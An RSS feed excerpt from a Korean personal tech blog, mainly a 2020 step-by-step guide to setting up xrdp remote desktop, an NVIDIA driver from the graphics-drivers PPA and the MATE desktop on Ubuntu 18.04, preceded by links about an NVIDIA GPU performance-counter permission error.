&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;NVIDIA Development Tools Solutions - ERR_NVGPUCTRPERM: Permission issue with Performance Counters&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;Overview This page provides an explanation and solutions for the following error message from various NVIDIA development tools: ERR_NVGPUCTRPERM The user running tool_name/application_name does not have permission to access NVIDIA GPU Performance Counters&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;developer.nvidia.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[2]&lt;a href=&quot;https://developer.nvidia.com/nsight-compute&quot;&gt;https://developer.nvidia.com/nsight-compute&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1591768098667&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;NVIDIA Nsight Compute&quot; data-og-description=&quot;NVIDIA&amp;reg; Nsight&amp;trade; Compute is an interactive kernel profiler for CUDA applications. It provides detailed performance metrics and API debugging via a user interface and command line tool. In addition, its baseline feature allows users to compare results wit&quot; data-og-host=&quot;developer.nvidia.com&quot; data-og-source-url=&quot;https://developer.nvidia.com/nsight-compute&quot; data-og-url=&quot;https://developer.nvidia.com/nsight-compute&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/4b9II/hyGmULdLro/K358GMqN4kSJ0AnryvHLlK/img.png?width=1200&amp;amp;height=804&amp;amp;face=0_0_1200_804,https://scrap.kakaocdn.net/dn/n0SeL/hyGmHrzOFb/p8QyPMDIpYD6as9Qobqyk0/img.png?width=1200&amp;amp;height=804&amp;amp;face=0_0_1200_804,https://scrap.kakaocdn.net/dn/bhrxsW/hyGmR11mlI/2Q2eNQY0Hf9PZk33SYWQ0K/img.png?width=1200&amp;amp;height=672&amp;amp;face=0_0_1200_672&quot;&gt;&lt;a href=&quot;https://developer.nvidia.com/nsight-compute&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://developer.nvidia.com/nsight-compute&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/4b9II/hyGmULdLro/K358GMqN4kSJ0AnryvHLlK/img.png?width=1200&amp;amp;height=804&amp;amp;face=0_0_1200_804,https://scrap.kakaocdn.net/dn/n0SeL/hyGmHrzOFb/p8QyPMDIpYD6as9Qobqyk0/img.png?width=1200&amp;amp;height=804&amp;amp;face=0_0_1200_804,https://scrap.kakaocdn.net/dn/bhrxsW/hyGmR11mlI/2Q2eNQY0Hf9PZk33SYWQ0K/img.png?width=1200&amp;amp;height=672&amp;amp;face=0_0_1200_672');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;NVIDIA Nsight Compute&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;NVIDIA&amp;reg; Nsight&amp;trade; Compute is an interactive kernel profiler for CUDA applications. It provides detailed performance metrics and API debugging via a user interface and command line tool. In addition, its baseline feature allows users to compare results wit&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;developer.nvidia.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/249</guid>
      <comments>https://marcokhan.tistory.com/249#entry249comment</comments>
      <pubDate>Wed, 10 Jun 2020 15:19:52 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 18.04] How to install xrdp, xmate on Ubuntu 18.04 LTS with Nvidia graphic card</title>
      <link>https://marcokhan.tistory.com/248</link>
      <description>&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;Window 10에서 Ubuntu 18.04에 원격 접속하는 방법에 대해 설명한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;Nvidia driver 설치하는 법도 같이 설명한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;XRDP 설치&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. xrdp, xorgxrdp 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install xrdp&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install xorgxrdp&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsFQ4O/btqCbTQ2UF0/mhAeONRBcBQmgw3fGqkY8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsFQ4O/btqCbTQ2UF0/mhAeONRBcBQmgw3fGqkY8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsFQ4O/btqCbTQ2UF0/mhAeONRBcBQmgw3fGqkY8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsFQ4O%2FbtqCbTQ2UF0%2FmhAeONRBcBQmgw3fGqkY8K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;xorgxrdp 패키지를 설치할 때 의존성이 발생한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;필자는 xorg-video-abil-23을 설치했다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;이후 xorgxrdp 패키지를 성공적으로 설치할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install xorg-video-abi-23&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 우분투 인증(authentication) 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;/etc/polkit-1/localauthority/50-local.d/&lt;/span&gt;45-allow-colord.pkla 파일에 아래와 같은 내용을 기입한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo vim /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;[Allow&amp;nbsp;Colord&amp;nbsp;all&amp;nbsp;Users]&lt;br /&gt;Identity=unix-user:*&lt;br /&gt;Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile&lt;br /&gt;ResultAny=no&lt;br /&gt;ResultInactive=no&lt;br /&gt;ResultActive=yes&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래의 파일을 다운받아서 사용하세요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/dgjqrw/btqCYET04fc/kQHpuODK3cLjKCqrLKpfoK/45-allow-colord.pkla?attach=1&amp;amp;knm=tfile.pkla&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;45-allow-colord.pkla&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. XRDP 서비스 시작, 포트 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo service xrdp restart&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo service --status-all | grep + | grep xrdp&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo netstat -antp&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;xrdp의 service 확인을 했을 때 [+] xrdp가 설정되어야 하고&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;netstat -antp로 listen port를 보았을 때, xrdp에 3389 port가 열려있어야 한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bz05zj/btqB8oynZrH/IcQFPXuOqfjcbuvTx2KTgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bz05zj/btqB8oynZrH/IcQFPXuOqfjcbuvTx2KTgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bz05zj/btqB8oynZrH/IcQFPXuOqfjcbuvTx2KTgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbz05zj%2FbtqB8oynZrH%2FIcQFPXuOqfjcbuvTx2KTgK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo reboot&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;==========================================================================&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;u&gt;마우스 &amp;amp; 키보드가 멈출 때..&amp;nbsp;&lt;/u&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;때때로 reboot 이후 마우스, 키보드가 움직이지 않는 현상이 발생한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt purge xserver-xorg-input *&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt install xserver-xorg-input-all&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo reboot&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;input interface를 모두 지우고 다시 설치하면 정상적으로 작동하는것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;============================================================================&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;Nvidia driver 설치&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;이전 블로그에서 Nvidia driver 설치하는 방법에 블로깅을 진행했는데 더 좋은 방법이 있어 추가로 진행한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;수동으로 apt-get을 이용해 설치할 수 있는 방법이 있기 때문에 설명한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;다음 명령어를 통해 사용할 수 있는 드라이버의 종류를 알 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;recommended 된 패키지를 설치하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ ubntu-drivers devices&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3p3aF/btqCafAwbFz/tBWxby5GkajpI70MZrfiHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3p3aF/btqCafAwbFz/tBWxby5GkajpI70MZrfiHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3p3aF/btqCafAwbFz/tBWxby5GkajpI70MZrfiHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3p3aF%2FbtqCafAwbFz%2FtBWxby5GkajpI70MZrfiHK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;관련 repository를 추가해야한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ &lt;span&gt;sudo&lt;/span&gt; add-apt-repository ppa:graphics-drivers/ppa&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ &lt;span&gt;sudo&lt;/span&gt; &lt;span&gt;apt&lt;/span&gt; update&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;repository 내에 설치하고 싶은 드라이버가 있는지 확인한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo &lt;span&gt;apt-cache&lt;/span&gt; search nvidia &lt;span&gt;|&lt;/span&gt; &lt;span&gt;grep&lt;/span&gt; nvidia-driver-435&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;nvidia-driver-435 - NVIDIA driver metapackage&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;드라이버가 있다면 apt-get 을 이용하여 &lt;span style=&quot;color: #333333;&quot;&gt;nvidia-driver-435 드라이버를 설치할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install nvidia-driver-435&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo reboot&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;재부팅 후 nvidia-smi 명령어를 통해 nvidia driver 설치 여부를 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ nvidia-smi&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3o8IN/btqB9X1hSML/ZM2o3DeuIGbkZ5JRSts4lk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3o8IN/btqB9X1hSML/ZM2o3DeuIGbkZ5JRSts4lk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3o8IN/btqB9X1hSML/ZM2o3DeuIGbkZ5JRSts4lk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3o8IN%2FbtqB9X1hSML%2FZM2o3DeuIGbkZ5JRSts4lk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;Window 10에서 Ubuntu 18.04 원격 데스크톱 연결하기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;필자는 포트포워딩을 사용했기 때문에 port 5356을 지정했다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;포트포워딩을 사용하지 않으면 port 3389를 사용하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l283V/btqB8PCCcKV/tK5a7ucJUkoESuS0oCGqw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l283V/btqB8PCCcKV/tK5a7ucJUkoESuS0oCGqw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l283V/btqB8PCCcKV/tK5a7ucJUkoESuS0oCGqw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl283V%2FbtqB8PCCcKV%2FtK5a7ucJUkoESuS0oCGqw0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;연결을 누르면 아래와 같은 화면을 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JhPbJ/btqB9YZ7A79/KYEsN0AhpHitNO6zakMpRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JhPbJ/btqB9YZ7A79/KYEsN0AhpHitNO6zakMpRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JhPbJ/btqB9YZ7A79/KYEsN0AhpHitNO6zakMpRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJhPbJ%2FbtqB9YZ7A79%2FKYEsN0AhpHitNO6zakMpRK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;Session은 Xorg로 설정하고 username/password를 잘 설정하면 된다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VaXm1/btqCbhdEwsf/ft3eDVc0KzmVq3HaRZFTg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VaXm1/btqCbhdEwsf/ft3eDVc0KzmVq3HaRZFTg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VaXm1/btqCbhdEwsf/ft3eDVc0KzmVq3HaRZFTg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVaXm1%2FbtqCbhdEwsf%2Fft3eDVc0KzmVq3HaRZFTg0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;Mate 설치&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;조금 더 편안한 사용을 위해 mate를 설치한다.&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt install tasksel&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-size: 1.25em;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt update&lt;/b&gt;&lt;/p&gt;
